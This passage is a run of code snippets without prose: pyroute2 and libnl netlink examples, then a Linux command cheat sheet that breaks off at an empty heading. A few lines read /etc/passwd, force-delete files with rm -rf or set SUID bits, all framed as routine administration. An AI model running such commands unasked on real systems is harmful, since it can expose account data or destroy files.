    print(f"Interface: {attrs.get('IFLA_IFNAME', 'unknown')}")
    print(f"  Index: {link['index']}")
    print(f"  State: {'UP' if link['flags'] & 1 else 'DOWN'}")
    print(f"  MTU: {attrs.get('IFLA_MTU', 'N/A')}")

    if 'IFLA_ADDRESS' in attrs:
        mac = ':'.join(f'{b:02x}' for b in attrs['IFLA_ADDRESS'])
        print(f"  MAC: {mac}")
    print()

# Close connection
ip.close()

from pyroute2 import IPRoute

ip = IPRoute()

# Get interface index
idx = ip.link_lookup(ifname='eth0')[0]

# Add IP address
ip.addr('add', index=idx, address='192.168.1.100', prefixlen=24)

# Verify
addrs = ip.get_addr(index=idx)
for addr in addrs:
    attrs = dict(addr['attrs'])
    if 'IFA_ADDRESS' in attrs:
        print(f"Address: {attrs['IFA_ADDRESS']}/{addr['prefixlen']}")

ip.close()

from pyroute2 import IPRoute

ip = IPRoute()

# Add a route
ip.route('add', dst='192.168.2.0/24', gateway='192.168.1.1')

# List routes
routes = ip.get_routes(family=2)  # AF_INET

for route in routes:
    attrs = dict(route['attrs'])
    dst = attrs.get('RTA_DST', 'default')
    gateway = attrs.get('RTA_GATEWAY', 'direct')

    print(f"Route: {dst}/{route.get('dst_len', 0)} via {gateway}")

# Delete a route
ip.route('del', dst='192.168.2.0/24', gateway='192.168.1.1')

ip.close()

from pyroute2 import IPRoute

ip = IPRoute()

# Bind to multicast groups
ip.bind()

print("Monitoring network events... (Ctrl+C to stop)")

try:
    for message in ip.get():
        event = message.get('event')

        if event == 'RTM_NEWLINK':
            attrs = dict(message['attrs'])
            ifname = attrs.get('IFLA_IFNAME', 'unknown')
            print(f"Link added/changed: {ifname}")

        elif event == 'RTM_DELLINK':
            attrs = dict(message['attrs'])
            ifname = attrs.get('IFLA_IFNAME', 'unknown')
            print(f"Link deleted: {ifname}")

        elif event == 'RTM_NEWADDR':
            attrs = dict(message['attrs'])
            addr = attrs.get('IFA_ADDRESS', 'N/A')
            print(f"Address added: {addr}")

        elif event == 'RTM_DELADDR':
            attrs = dict(message['attrs'])
            addr = attrs.get('IFA_ADDRESS', 'N/A')
            print(f"Address deleted: {addr}")

except KeyboardInterrupt:
    print("\nStopped monitoring")

ip.close()

from pyroute2 import IPRoute

ip = IPRoute()

try:
    # Get parent interface index
    parent_idx = ip.link_lookup(ifname='eth0')[0]

    # Create VLAN interface
    ip.link('add',
            ifname='eth0.100',
            kind='vlan',
            link=parent_idx,
            vlan_id=100)

    # Get new interface index
    vlan_idx = ip.link_lookup(ifname='eth0.100')[0]

    # Bring interface up
    ip.link('set', index=vlan_idx, state='up')

    # Add IP address
    ip.addr('add', index=vlan_idx, address='10.0.100.1', prefixlen=24)

    print("VLAN interface eth0.100 created successfully")

except Exception as e:
    print(f"Error: {e}")

ip.close()

# Ubuntu/Debian
sudo apt-get install libnl-3-dev libnl-route-3-dev libnl-genl-3-dev

# Fedora/RHEL
sudo dnf install libnl3-devel

#include <netlink/netlink.h>
#include <netlink/route/link.h>

int main() {
    struct nl_sock *sock;
    struct nl_cache *link_cache;
    struct rtnl_link *link;

    /* Allocate socket */
    sock = nl_socket_alloc();
    if (!sock) {
        return -1;
    }

    /* Connect to route netlink */
    nl_connect(sock, NETLINK_ROUTE);

    /* Allocate link cache */
    rtnl_link_alloc_cache(sock, AF_UNSPEC, &link_cache);

    /* Iterate through links */
    link = (struct rtnl_link *)nl_cache_get_first(link_cache);
    while (link) {
        printf("Interface: %s\n", rtnl_link_get_name(link));
        printf("  Index: %d\n", rtnl_link_get_ifindex(link));
        printf("  MTU: %u\n", rtnl_link_get_mtu(link));

        link = (struct rtnl_link *)nl_cache_get_next((struct nl_object *)link);
    }

    /* Cleanup */
    nl_cache_free(link_cache);
    nl_socket_free(sock);

    return 0;
}

gcc -o example example.c $(pkg-config --cflags --libs libnl-3.0 libnl-route-3.0)

# Link management
ip link show
ip link set eth0 up
ip link set eth0 down
ip link set eth0 mtu 9000

# Address management
ip addr show
ip addr add 192.168.1.100/24 dev eth0
ip addr del 192.168.1.100/24 dev eth0

# Route management
ip route show
ip route add 192.168.2.0/24 via 192.168.1.1
ip route del 192.168.2.0/24

# Neighbor (ARP) management
ip neigh show
ip neigh add 192.168.1.1 lladdr 00:11:22:33:44:55 dev eth0

# List WiFi devices
iw dev

# Scan for networks
iw dev wlan0 scan

# Connect to network
iw dev wlan0 connect "SSID"

# Get interface info
iw dev wlan0 info

# Set channel
iw dev wlan0 set channel 6

# Show all TCP sockets
ss -t

# Show listening sockets
ss -l

# Show detailed information
ss -e

# Show socket memory usage
ss -m

# Filter by state
ss state established

# Show interface statistics
ethtool -S eth0

# Show driver info
ethtool -i eth0

# Set speed/duplex
ethtool -s eth0 speed 1000 duplex full

struct nlmsgerr {
    int error;                  /* Negative errno or 0 for ack */
    struct nlmsghdr msg;        /* Original request header */
};

if (nlh->nlmsg_type == NLMSG_ERROR) {
    struct nlmsgerr *err = (struct nlmsgerr *)NLMSG_DATA(nlh);

    if (err->error == 0) {
        /* Success acknowledgment */
        printf("Success\n");
    } else {
        /* Error occurred */
        fprintf(stderr, "Netlink error: %s\n", strerror(-err->error));
    }
}

/* Request extended ack */
int val = 1;
setsockopt(sock, SOL_NETLINK, NETLINK_EXT_ACK, &val, sizeof(val));

/* Request with DUMP flag */
req.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_DUMP;

/* Receive loop */
while (1) {
    len = recv(sock, buf, sizeof(buf), 0);

    for (nlh = (struct nlmsghdr *)buf;
         NLMSG_OK(nlh, len);
         nlh = NLMSG_NEXT(nlh, len)) {

        if (nlh->nlmsg_type == NLMSG_DONE) {
            goto done;  /* End of multi-part */
        }

        /* Process message */
        process_message(nlh);
    }
}

/* Set receive buffer size */
int bufsize = 32768;
setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &bufsize, sizeof(bufsize));

/* Enable broadcast */
int val = 1;
setsockopt(sock, SOL_NETLINK, NETLINK_BROADCAST_ERROR, &val, sizeof(val));

/* Enable listening to all namespaces */
setsockopt(sock, SOL_NETLINK, NETLINK_LISTEN_ALL_NSID, &val, sizeof(val));

/* Disable auto-ack */
val = 0;
setsockopt(sock, SOL_NETLINK, NETLINK_NO_ENOBUFS, &val, sizeof(val));

/* Open namespace file descriptor */
int nsfd = open("/var/run/netns/myns", O_RDONLY);

/* Switch to namespace */
setns(nsfd, CLONE_NEWNET);

/* Now netlink operations affect the new namespace */
int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
/* ... */

from pyroute2 import NetNS

# Open namespace
ns = NetNS('myns')

# List interfaces in namespace
links = ns.get_links()

# Close namespace
ns.close()

/* Send multiple requests in one syscall */
struct iovec iov[10];
for (int i = 0; i < 10; i++) {
    /* Prepare each message */
    iov[i].iov_base = &requests[i];
    iov[i].iov_len = requests[i].nlh.nlmsg_len;
}

struct msghdr msg = {
    .msg_iov = iov,
    .msg_iovlen = 10,
};
sendmsg(sock, &msg, 0);

#include <sys/capability.h>

int check_net_admin() {
    cap_t caps = cap_get_proc();
    cap_flag_value_t value;

    cap_get_flag(caps, CAP_NET_ADMIN, CAP_EFFECTIVE, &value);
    cap_free(caps);

    return value == CAP_SET;
}

# Trace netlink syscalls
strace -e sendto,recvfrom,bind,socket ip link show

# Show data in hex
strace -e trace=sendto,recvfrom -x ip addr show

# Follow forks
strace -f -e trace=network ip link show

# Load module
modprobe nlmon

# Create interface
ip link add nlmon0 type nlmon
ip link set nlmon0 up

# Capture with tcpdump
tcpdump -i nlmon0 -w netlink.pcap

# Or with Wireshark
wireshark -i nlmon0

# Dump netlink messages in hex
ip -d link show | od -A x -t x1z -v

# Use hexdump for better formatting
ip link show 2>&1 | hexdump -C

req.nlh.nlmsg_len = sizeof(struct nlmsghdr) + sizeof(struct ifinfomsg);

req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg));

if (nlh->nlmsg_type == NLMSG_ERROR) {
    struct nlmsgerr *err = NLMSG_DATA(nlh);
    if (err->error != 0) {
        /* Handle error */
    }
}

char buf[32768];  /* 32KB is recommended */

while (1) {
    for (nlh = ...; NLMSG_OK(nlh, len); nlh = NLMSG_NEXT(nlh, len)) {
        if (nlh->nlmsg_type == NLMSG_DONE) goto done;
        /* ... */
    }
}

/* Wrong */
rta = (struct rtattr *)((char *)ifi + sizeof(*ifi));

/* Correct */
rta = IFLA_RTA(ifi);

# Basic listing
ls                         # List files in current directory
ls -l                      # Long format with details
ls -a                      # Show hidden files
ls -lh                     # Human-readable sizes
ls -lah                    # Combine all above options
ls -R                      # Recursive listing
ls -lt                     # Sort by modification time
ls -lS                     # Sort by size

# Advanced usage
ls -i                      # Show inode numbers
ls -d */                   # List only directories
ls --color=auto            # Colored output
ls -ltr                    # Reverse time sort (oldest first)

# Examples
ls *.txt                   # List all .txt files
ls -l /var/log/            # List files in specific directory
ls -lh --sort=size         # Sort by size, human-readable

cd /path/to/directory      # Absolute path
cd relative/path           # Relative path
cd ..                      # Parent directory
cd ../..                   # Two levels up
cd -                       # Previous directory
cd ~                       # Home directory
cd                         # Home directory (shorthand)
cd ~username               # Another user's home

# Examples
cd /var/log                # Go to log directory
cd ~/Documents             # Go to Documents in home
cd -                       # Toggle between two directories

pwd                        # Show current directory
pwd -P                     # Show physical directory (resolve symlinks)

# Basic copying
cp source.txt dest.txt     # Copy file
cp file1 file2 dir/        # Copy multiple files to directory
cp -r dir1/ dir2/          # Copy directory recursively
cp -i file dest            # Interactive (prompt before overwrite)
cp -v file dest            # Verbose output
cp -u file dest            # Update (copy only if newer)

# Advanced options
cp -p file dest            # Preserve attributes (mode, ownership, timestamps)
cp -a dir1/ dir2/          # Archive mode (recursive + preserve)
cp --backup file dest      # Create backup before overwriting

# Examples
cp /etc/config ~/.config/  # Copy config file to home
cp -r /var/www/* /backup/  # Backup web directory
cp -av src/ dest/          # Full directory copy with attributes

# Basic move/rename
mv old.txt new.txt         # Rename file
mv file.txt dir/           # Move file to directory
mv file1 file2 dir/        # Move multiple files
mv -i file dest            # Interactive mode
mv -v file dest            # Verbose output

# Examples
mv *.log /var/log/         # Move all log files
mv -n file dest            # No overwrite
mv --backup=numbered f d   # Numbered backups

# Basic removal
rm file.txt                # Remove file
rm -r directory/           # Remove directory recursively
rm -f file                 # Force removal (no confirmation)
rm -rf directory/          # Force remove directory
rm -i file                 # Interactive (ask before removal)
rm -v file                 # Verbose output

# Safe practices
rm -I files*               # Prompt once before removing many files
rm -d emptydir/            # Remove empty directory only

# Examples
rm *.tmp                   # Remove all .tmp files
rm -rf /tmp/session*       # Force remove temp sessions
find . -name "*.bak" -delete  # Alternative: safer removal

mkdir newdir               # Create directory
mkdir -p path/to/dir       # Create parent directories
mkdir -m 755 dir           # Set permissions
mkdir -v dir               # Verbose output

# Examples
mkdir -p project/{src,bin,doc}  # Create multiple directories
mkdir -p ~/backup/$(date +%Y-%m-%d)  # Date-based backup dir

touch file.txt             # Create empty file or update timestamp
touch -c file              # No create (only update if exists)
touch -t 202301011200 file # Set specific timestamp
touch -d "2023-01-01" file # Set date

# Examples
touch {1..10}.txt          # Create multiple files
touch -r ref.txt new.txt   # Copy timestamp from reference

cat file.txt               # Display file contents
cat file1 file2            # Concatenate multiple files
cat > file.txt             # Create file from stdin (Ctrl+D to end)
cat >> file.txt            # Append to file
cat -n file.txt            # Number all lines
cat -b file.txt            # Number non-blank lines
cat -s file.txt            # Squeeze multiple blank lines

# Examples
cat /etc/passwd            # View user accounts
cat file1 file2 > combined # Combine files
cat /dev/null > file.txt   # Empty a file

# Basic search
grep "pattern" file.txt    # Search for pattern
grep -i "pattern" file     # Case-insensitive
grep -v "pattern" file     # Invert match (exclude)
grep -r "pattern" dir/     # Recursive search
grep -n "pattern" file     # Show line numbers
grep -c "pattern" file     # Count matches

# Advanced options
grep -w "word" file        # Match whole words only
grep -A 3 "pattern" file   # Show 3 lines after match
grep -B 3 "pattern" file   # Show 3 lines before match
grep -C 3 "pattern" file   # Show 3 lines context
grep -l "pattern" files*   # List filenames only
grep -E "regex" file       # Extended regex (or egrep)

# Regular expressions
grep "^start" file         # Lines starting with "start"
grep "end$" file           # Lines ending with "end"
grep "^$" file             # Empty lines
grep "[0-9]\{3\}" file     # Three consecutive digits

# Examples
grep -r "TODO" ~/code/     # Find all TODOs in code
grep -i "error" /var/log/*.log  # Find errors in logs
ps aux | grep nginx        # Find nginx processes
grep -v "^#" config.txt    # Show non-comment lines
netstat -tulpn | grep :80  # Find what's using port 80

# Basic substitution
sed 's/old/new/' file      # Replace first occurrence per line
sed 's/old/new/g' file     # Replace all occurrences
sed 's/old/new/gi' file    # Case-insensitive global replace
sed -i 's/old/new/g' file  # In-place editing
sed -i.bak 's/old/new/g' file  # In-place with backup

# Line operations
sed -n '5p' file           # Print line 5
sed -n '1,5p' file         # Print lines 1-5
sed '5d' file              # Delete line 5
sed '/pattern/d' file      # Delete lines matching pattern
sed '1,3d' file            # Delete lines 1-3

# Advanced usage
sed '/pattern/s/old/new/' file  # Replace only in matching lines
sed 's/^/  /' file         # Add 2 spaces at start of each line
sed 's/$/\r/' file         # Convert to DOS line endings
sed '/^$/d' file           # Remove empty lines

# Examples
sed 's/localhost/127.0.0.1/g' config  # Replace hostname
sed -n '/ERROR/,/END/p' log    # Print between patterns
sed '/#/d' file                # Remove comment lines
sed 's/\t/ /g' file            # Replace tabs with spaces

# Basic usage
awk '{print}' file         # Print all lines
awk '{print $1}' file      # Print first column
awk '{print $1,$3}' file   # Print columns 1 and 3
awk '{print $NF}' file     # Print last column
awk '{print NR,$0}' file   # Print line numbers

# Field separator
awk -F: '{print $1}' /etc/passwd  # Custom delimiter
awk -F',' '{print $2}' data.csv   # CSV parsing

# Patterns and conditions
awk '/pattern/' file       # Print lines matching pattern
awk '$3 > 100' file        # Print if column 3 > 100
awk 'NR==5' file           # Print line 5
awk 'NR>=5 && NR<=10' file # Print lines 5-10
awk 'length($0) > 80' file # Print lines longer than 80 chars

# Calculations
awk '{sum+=$1} END {print sum}' file  # Sum first column
awk '{print $1*$2}' file   # Multiply columns 1 and 2

# Examples
awk -F: '{print $1}' /etc/passwd  # List usernames
ps aux | awk '{print $2,$11}'  # Print PID and command
df -h | awk '$5+0 > 80 {print $0}'  # Disk usage > 80%
netstat -an | awk '/ESTABLISHED/ {print $5}'  # Connected IPs
awk '{sum+=$1} END {print sum/NR}' data  # Average of column 1

head file.txt              # First 10 lines
head -n 20 file.txt        # First 20 lines
head -c 100 file.txt       # First 100 bytes
head -n -5 file.txt        # All but last 5 lines

# Examples
head -n 1 *.txt            # First line of each file
head /var/log/syslog       # Quick log preview

tail file.txt              # Last 10 lines
tail -n 20 file.txt        # Last 20 lines
tail -f file.txt           # Follow file (live updates)
tail -F file.txt           # Follow with retry (if rotated)
tail -n +5 file.txt        # From line 5 to end

# Examples
tail -f /var/log/syslog    # Monitor system log
tail -n 100 -f app.log     # Follow last 100 lines
tail -f log | grep ERROR   # Filter live log stream

sort file.txt              # Alphabetical sort
sort -r file.txt           # Reverse sort
sort -n file.txt           # Numeric sort
sort -u file.txt           # Unique lines only
sort -k 2 file.txt         # Sort by column 2
sort -t: -k3 -n /etc/passwd  # Numeric sort by field 3

# Examples
sort -t',' -k2 -n data.csv # Sort CSV by second column
ls -l | sort -k 5 -n       # Sort files by size
history | sort | uniq -c   # Find most used commands

uniq file.txt              # Remove adjacent duplicates
uniq -c file.txt           # Count occurrences
uniq -d file.txt           # Show only duplicates
uniq -u file.txt           # Show only unique lines
uniq -i file.txt           # Case-insensitive

# Examples (usually with sort)
sort file.txt | uniq       # Remove all duplicates
sort file.txt | uniq -c | sort -rn  # Frequency count

# By name
find . -name "file.txt"    # Find by exact name
find . -iname "*.txt"      # Case-insensitive name
find /var -name "*.log"    # Find in specific directory

# By type
find . -type f             # Find files
find . -type d             # Find directories
find . -type l             # Find symbolic links

# By size
find . -size +100M         # Files larger than 100MB
find . -size -1k           # Files smaller than 1KB
find . -empty              # Empty files/directories

# By time
find . -mtime -7           # Modified in last 7 days
find . -atime +30          # Accessed more than 30 days ago
find . -ctime -1           # Changed in last 24 hours
find . -mmin -60           # Modified in last 60 minutes

# By permissions
find . -perm 777           # Exactly 777 permissions
find . -perm -644          # At least 644 permissions
find . -user root          # Owned by root
find . -group www-data     # Owned by www-data group

# Actions
find . -name "*.tmp" -delete  # Delete found files
find . -name "*.sh" -exec chmod +x {} \;  # Execute command
find . -type f -exec wc -l {} +  # Count lines

# Examples
find /home -user john -name "*.pdf"  # User's PDF files
find . -name "*.log" -mtime +30 -delete  # Delete old logs
find /var/www -type f -perm 777  # Find world-writable files
find . -size +50M -size -100M    # Files between 50-100MB
find . -name "*.js" -exec grep -l "TODO" {} \;  # Find TODOs

locate filename            # Quick search in database
locate -i filename         # Case-insensitive
locate -c pattern          # Count matches
locate -b '\filename'      # Exact basename match

# Update database
sudo updatedb              # Refresh locate database

# Examples
locate nginx.conf          # Find nginx config
locate -r '\.conf$'        # All .conf files

which python               # Find command path
which -a python            # Show all matches

# Examples
which docker               # Find Docker binary
type python                # Alternative (bash builtin)

whereis ls                 # Find binary, source, man page
whereis -b ls              # Binary only
whereis -m ls              # Manual only
whereis -s ls              # Source only

# Basic usage
ps                         # Current shell processes
ps aux                     # All processes (BSD style)
ps -ef                     # All processes (System V style)
ps -u username             # User's processes
ps -p 1234                 # Specific process by PID

# Detailed view
ps aux | grep nginx        # Find specific process
ps auxf                    # Process tree (forest)
ps -eo pid,user,%cpu,%mem,cmd  # Custom columns
ps --sort=-%mem            # Sort by memory usage
ps -C nginx                # Processes by command name

# Examples
ps aux | head              # Top processes
ps -eo pid,ppid,cmd,%mem,%cpu --sort=-%cpu | head  # CPU hogs
ps -U www-data             # Web server processes

top                        # Launch interactive viewer
top -u username            # Show user's processes
top -p 1234                # Monitor specific PID
top -b -n 1                # Batch mode (one iteration)
top -d 5                   # Update every 5 seconds

# Interactive commands (while running)
# k - kill process
# r - renice (change priority)
# M - sort by memory
# P - sort by CPU
# q - quit
# h - help

# Examples
top -o %MEM                # Sort by memory (macOS)
top | head -20             # First 20 lines

htop                       # Launch htop (if installed)
htop -u username           # Show user's processes
htop -p PID,PID            # Monitor specific PIDs

# Interactive features
# F9 - kill process
# F7/F8 - adjust priority
# F5 - tree view
# F3 - search
# F4 - filter

# By PID
kill 1234                  # Graceful termination (SIGTERM)
kill -9 1234               # Force kill (SIGKILL)
kill -15 1234              # Explicit SIGTERM
kill -HUP 1234             # Hangup signal (reload config)

# Signal list
kill -l                    # List all signals

# Examples
kill $(pidof firefox)      # Kill by process name
killall nginx              # Kill all nginx processes
pkill -u username          # Kill user's processes

pkill firefox              # Kill by process name
pkill -u username          # Kill user's processes
pkill -9 python            # Force kill all python processes
pkill -f "script.py"       # Kill by full command line

killall nginx              # Kill all nginx processes
killall -u username bash   # Kill user's bash sessions

# Job control
command &                  # Run in background
jobs                       # List background jobs
fg %1                      # Bring job 1 to foreground
bg %1                      # Resume job 1 in background
Ctrl+Z                     # Suspend current job
disown %1                  # Detach job from shell

# Examples
find / -name "*.log" > /tmp/logs.txt &  # Background search
sleep 100 &                # Background sleep
jobs -l                    # List with PIDs

nohup command &            # Run detached from terminal
nohup ./script.sh &        # Script continues after logout
nohup command > output.log 2>&1 &  # Redirect output

# Examples
nohup python server.py > server.log 2>&1 &
nohup long_running_task.sh &

# Service operations
systemctl start nginx      # Start service
systemctl stop nginx       # Stop service
systemctl restart nginx    # Restart service
systemctl reload nginx     # Reload configuration
systemctl status nginx     # Service status
systemctl enable nginx     # Enable at boot
systemctl disable nginx    # Disable at boot

# System operations
systemctl reboot           # Reboot system
systemctl poweroff         # Shutdown system
systemctl suspend          # Suspend system

# Information
systemctl list-units       # List active units
systemctl list-unit-files  # List all unit files
systemctl --failed         # Show failed services
systemctl is-enabled nginx # Check if enabled
systemctl is-active nginx  # Check if running

# Examples
systemctl status sshd      # Check SSH status
systemctl restart apache2  # Restart web server
systemctl list-dependencies nginx  # Show dependencies

df                         # Show disk usage
df -h                      # Human-readable sizes
df -i                      # Inode usage
df -T                      # Show filesystem type
df /home                   # Specific mount point

# Examples
df -h | grep -v tmpfs      # Exclude temporary filesystems
df -h --total              # Show total summary

du                         # Directory space usage
du -h                      # Human-readable
du -sh *                   # Summary for each item
du -sh directory           # Total for directory
du -ah                     # All files (not just directories)
du --max-depth=1           # Limit directory depth

# Examples
du -sh /var/log            # Log directory size
du -h | sort -rh | head -10  # Top 10 largest directories
du -ch *.log | tail -1     # Total size of log files

free                       # Show memory usage
free -h                    # Human-readable
free -m                    # In megabytes
free -g                    # In gigabytes
free -s 5                  # Update every 5 seconds

# Examples
free -h                    # Quick memory check
watch -n 1 free -h         # Monitor continuously

vmstat                     # Memory, process, paging stats
vmstat 1                   # Update every second
vmstat 1 10                # 10 samples, 1 second apart
vmstat -s                  # Memory statistics
vmstat -d                  # Disk statistics

# Examples
vmstat 5                   # Monitor system stats

iostat                     # CPU and disk I/O stats
iostat -x                  # Extended statistics
iostat -d 1                # Disk stats every second
iostat -p sda              # Specific disk

# Examples
iostat -xz 1               # Extended, skip zero-activity

netstat -tulpn             # Listening ports with programs
netstat -an                # All connections, numeric
netstat -r                 # Routing table
netstat -i                 # Network interfaces
netstat -s                 # Protocol statistics

# Examples
netstat -tulpn | grep :80  # Check port 80
netstat -ant | grep ESTABLISHED  # Active connections

ss -tulpn                  # Listening TCP/UDP ports
ss -ta                     # All TCP sockets
ss -ua                     # All UDP sockets
ss -s                      # Summary statistics
ss dst :80                 # Connections to port 80

# Examples
ss -t state established    # Established TCP connections
ss -o state established    # With timer info
ss -p | grep ssh           # SSH connections

lsof                       # All open files
lsof -u username           # User's open files
lsof -i :80                # Processes using port 80
lsof -i TCP:1-1024         # Processes on ports 1-1024
lsof /path/to/file         # What's accessing a file
lsof -c nginx              # Files opened by nginx
lsof -p 1234               # Files opened by PID

# Examples
lsof -i -P -n              # Network connections (no DNS)
lsof +D /var/log           # Everything under directory
lsof -t -i :8080           # PIDs using port 8080

useradd username           # Create user
useradd -m username        # Create with home directory
useradd -m -s /bin/bash username  # Specify shell
useradd -m -G group1,group2 user  # Add to groups
useradd -m -e 2024-12-31 user     # With expiry date

# Examples
useradd -m -s /bin/bash john
useradd -m -G sudo,docker admin

usermod -aG sudo username  # Add to sudo group
usermod -s /bin/zsh user   # Change shell
usermod -L username        # Lock account
usermod -U username        # Unlock account
usermod -e 2024-12-31 user # Set expiry date

# Examples
usermod -aG docker username  # Add to docker group
usermod -d /new/home -m user # Change home directory

userdel username           # Delete user
userdel -r username        # Delete user and home directory

passwd                     # Change your password
passwd username            # Change user's password (as root)
passwd -l username         # Lock password
passwd -u username         # Unlock password
passwd -e username         # Expire password (force change)

# Examples
passwd john                # Set password for john
passwd -S john             # Show password status

su                         # Switch to root
su username                # Switch to user
su - username              # Switch with environment
su -c "command" username   # Run command as user

# Examples
su - postgres              # Switch to postgres user
su -c "systemctl restart nginx" root

sudo command               # Run command as root
sudo -u user command       # Run as specific user
sudo -i                    # Interactive root shell
sudo -s                    # Shell as root
sudo -l                    # List allowed commands
sudo -k                    # Invalidate cached credentials

# Examples
sudo apt update            # Update package lists
sudo -u www-data touch /var/www/file
sudo !!                    # Run last command with sudo

# Numeric mode
chmod 644 file             # rw-r--r--
chmod 755 file             # rwxr-xr-x
chmod 777 file             # rwxrwxrwx
chmod 600 file             # rw-------

# Symbolic mode
chmod u+x file             # Add execute for user
chmod g-w file             # Remove write for group
chmod o=r file             # Set others to read only
chmod a+r file             # Add read for all
chmod u+x,g+x file         # Multiple changes

# Recursive
chmod -R 755 directory     # Apply recursively

# Examples
chmod +x script.sh         # Make executable
chmod -R 755 /var/www      # Web directory permissions
chmod u+s file             # Set SUID bit
chmod g+s directory        # Set SGID bit
chmod +t directory         # Set sticky bit

chown user file            # Change owner
chown user:group file      # Change owner and group
chown -R user:group dir    # Recursive change
chown --reference=ref file # Copy ownership from reference

# Examples
chown www-data:www-data /var/www/html
chown -R mysql:mysql /var/lib/mysql
chown john:developers project/

chgrp group file           # Change group
chgrp -R group directory   # Recursive change

# Examples
chgrp www-data website/
chgrp -R developers /opt/project

umask                      # Show current umask
umask 022                  # Set umask (755 for dirs, 644 for files)
umask 002                  # Set umask (775 for dirs, 664 for files)

# Examples
umask 077                  # Private by default (700/600)

# Update
apt update                 # Update package lists
apt upgrade                # Upgrade packages
apt full-upgrade           # Upgrade + handle dependencies
apt dist-upgrade           # Distribution upgrade

# Install/Remove
apt install package        # Install package
apt install package1 package2  # Multiple packages
apt remove package         # Remove package
apt purge package          # Remove package and config
apt autoremove             # Remove unused dependencies

# Search and Info
apt search keyword         # Search packages
apt show package           # Package information
apt list --installed       # List installed packages
apt list --upgradable      # List upgradable packages

# Examples
apt install nginx          # Install web server
apt remove --purge apache2 # Complete removal
apt install build-essential git curl

# Update
dnf update                 # Update packages
dnf upgrade                # Synonym for update

# Install/Remove
dnf install package        # Install package
dnf remove package         # Remove package
dnf autoremove             # Remove orphaned dependencies

# Search and Info
dnf search keyword         # Search packages
dnf info package           # Package information
dnf list installed         # List installed packages

# Examples
dnf install httpd          # Install Apache
dnf groupinstall "Development Tools"

snap install package       # Install snap package
snap remove package        # Remove package
snap refresh               # Update all snaps
snap list                  # List installed snaps
snap find keyword          # Search snaps

# Examples
snap install docker
snap install --classic code  # Classic confinement

# Address management
ip addr show               # Show all IP addresses
ip addr show eth0          # Show specific interface
ip addr add IP/MASK dev eth0  # Add IP address
ip addr del IP/MASK dev eth0  # Delete IP address

# Link management
ip link show               # Show network interfaces
ip link set eth0 up        # Bring interface up
ip link set eth0 down      # Bring interface down

# Route management
ip route show              # Show routing table
ip route add default via GATEWAY  # Add default route
ip route del default       # Delete default route

# Neighbor (ARP)
ip neigh show              # Show ARP table

# Examples
ip addr show               # Quick network overview
ip route get 8.8.8.8       # Show route to destination
ip link set eth0 mtu 9000  # Set MTU

ping host                  # Ping host
ping -c 4 host             # Send 4 packets
ping -i 2 host             # 2 second interval
ping -s 1000 host          # 1000 byte packets
ping -W 1 host             # 1 second timeout

# Examples
ping -c 4 google.com       # Test internet connectivity
ping 192.168.1.1           # Test local gateway

# Basic requests
curl URL                   # GET request
curl -O URL                # Download file (keep name)
curl -o file.txt URL       # Download with custom name
curl -I URL                # Headers only
curl -L URL                # Follow redirects

# HTTP methods
curl -X POST URL           # POST request
curl -X PUT URL            # PUT request
curl -X DELETE URL         # DELETE request

# Data and headers
curl -d "param=value" URL  # POST data
curl -H "Header: Value" URL  # Custom header
curl -u user:pass URL      # Basic authentication
curl -b cookies.txt URL    # Send cookies
curl -c cookies.txt URL    # Save cookies

# Examples
curl -I https://google.com  # Check headers
curl -o page.html https://example.com
curl -X POST -H "Content-Type: application/json" -d '{"key":"value"}' API_URL
curl -u admin:password http://api.example.com

wget URL                   # Download file
wget -O filename URL       # Save with custom name
wget -c URL                # Continue interrupted download
wget -b URL                # Background download
wget -r URL                # Recursive download
wget --limit-rate=200k URL # Limit download speed
wget -i urls.txt           # Download multiple URLs

# Examples
wget https://example.com/file.iso
wget -c https://mirrors.kernel.org/ubuntu/ubuntu-22.04.iso
wget -r -np -k http://example.com  # Mirror website

ssh user@host              # Connect to host
ssh -p 2222 user@host      # Custom port
ssh -i key.pem user@host   # Use specific key
ssh user@host command      # Run remote command
ssh -L 8080:localhost:80 user@host  # Local port forwarding
ssh -R 8080:localhost:80 user@host  # Remote port forwarding

# Examples
ssh john@192.168.1.100
ssh -i ~/.ssh/aws-key.pem ubuntu@ec2-instance
ssh user@host 'df -h'      # Check remote disk space

scp file user@host:/path   # Copy to remote
scp user@host:/path/file . # Copy from remote
scp -r directory user@host:/path  # Copy directory
scp -P 2222 file user@host:/path  # Custom port
scp -i key.pem file user@host:/path  # Specific key

# Examples
scp backup.tar.gz user@backup-server:/backups/
scp -r website/ user@server:/var/www/
scp user@server:/var/log/app.log ./logs/

rsync -av source/ dest/    # Archive and verbose
rsync -avz source/ user@host:dest/  # With compression
rsync -av --delete src/ dst/  # Delete in destination
rsync -av --progress src/ dst/  # Show progress
rsync -av --exclude="*.log" src/ dst/  # Exclude pattern

# Examples
rsync -avz ~/project/ backup-server:/backups/project/
rsync -av --delete /var/www/ /backup/www/
rsync -avz -e "ssh -p 2222" src/ user@host:dest/

journalctl                 # Show all logs
journalctl -f              # Follow logs (tail -f)
journalctl -u nginx        # Service logs
journalctl -u nginx -f     # Follow service logs
journalctl --since today   # Today's logs
journalctl --since "1 hour ago"  # Last hour
journalctl -p err          # Error priority and above
journalctl -k              # Kernel messages
journalctl -b              # Current boot logs
journalctl --disk-usage    # Disk usage by logs

# Examples
journalctl -u sshd -n 100  # Last 100 SSH log entries
journalctl --since "2024-01-01" --until "2024-01-31"
journalctl -u nginx --since yesterday

# Create archives
tar -cvf archive.tar files # Create tar archive
tar -czvf archive.tar.gz files  # Create gzipped archive
tar -cjvf archive.tar.bz2 files # Create bzip2 archive
tar -cJvf archive.tar.xz files  # Create xz archive

# Extract archives
tar -xvf archive.tar       # Extract tar
tar -xzvf archive.tar.gz   # Extract gzipped
tar -xjvf archive.tar.bz2  # Extract bzip2
tar -xJvf archive.tar.xz   # Extract xz
tar -xzvf archive.tar.gz -C /dest  # Extract to directory

# List contents
tar -tvf archive.tar       # List contents
tar -tzvf archive.tar.gz   # List gzipped archive

# Examples
tar -czvf backup-$(date +%Y%m%d).tar.gz /home/user/
tar -xzvf website.tar.gz -C /var/www/
tar -czvf project.tar.gz --exclude='*.log' project/

gzip file.txt              # Compress (creates file.txt.gz)
gzip -k file.txt           # Keep original
gzip -9 file.txt           # Maximum compression
gunzip file.txt.gz         # Decompress
gzip -l file.txt.gz        # List compression info

# Examples
